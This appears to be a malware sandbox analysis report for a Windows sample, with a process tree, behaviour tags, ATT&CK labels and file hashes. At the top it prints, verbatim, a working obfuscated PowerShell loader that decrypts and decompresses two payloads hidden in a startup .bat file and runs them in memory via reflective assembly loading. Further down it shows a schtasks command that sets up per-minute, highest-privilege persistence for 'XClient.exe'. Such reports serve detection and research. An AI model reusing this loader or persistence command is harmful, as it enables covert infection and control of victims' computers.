C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('twkRdSS9rx0e1GAS+xOYGpTEHiXnefOd1aQP1MfgoFw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iv04Ns0kPKLIVTUZA6Q2SQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Zxwkp=New-Object System.IO.MemoryStream(,$param_var); $JOKcw=New-Object System.IO.MemoryStream; $vznpW=New-Object System.IO.Compression.GZipStream($Zxwkp, [IO.Compression.CompressionMode]::Decompress); $vznpW.CopyTo($JOKcw); $vznpW.Dispose(); $Zxwkp.Dispose(); $JOKcw.Dispose(); $JOKcw.ToArray();}function execute_function($param_var,$param2_var){ $Ekltt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uOQTi=$Ekltt.EntryPoint; $uOQTi.Invoke($null, $param2_var);}$oFsgC = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat';$host.UI.RawUI.WindowTitle = $oFsgC;$emRHs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oFsgC).Split([Environment]::NewLine);foreach ($hVxGX in $emRHs) { if ($hVxGX.StartsWith('apqHOrrBYoUaaAYCNYVK')) { $TkgLL=$hVxGX.Substring(20); break; }}$payloads_var=[string[]]$TkgLL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:4620
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"7⤵
- Scheduled Task/Job: Scheduled Task
PID:3252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:3884
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:5076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:3116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
PID:848
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
462KB
MD5d44126df70e3dbdff887215a95e6f3ce
SHA16d729305d24b9ede2bef06b7885c4348e1899287
SHA2565a1bc7923a04c38975120facb005961068ea9b81cdcbecf7595c9cbcb73dda68
SHA512cd63b04365d8edf905ce2cea4a3c205761d65c0feef67b8840bbc87078d8739ecf735449e8cffdcae48e5f45895f62860dff6acee1da7e8701ded067f0527daf
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Filesize
124B
MD54694bc39ad366734e3364d143a54180e
SHA1c2a3140a64f4b1eb2b271b01ba3a9ec365848d6b
SHA256fa25bb589d44060f9966238e1fab6aeab41e3253bde4f3e3f00ba9c33658918a
SHA512d9323dc70f4609ba66c89e0e077f4c00fb3b2539fe8504e126157dd075ea197604ad039b4009d5439bfc2e5ebc5159eacda1a32885d7f64262e5fe3cf492ee09
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4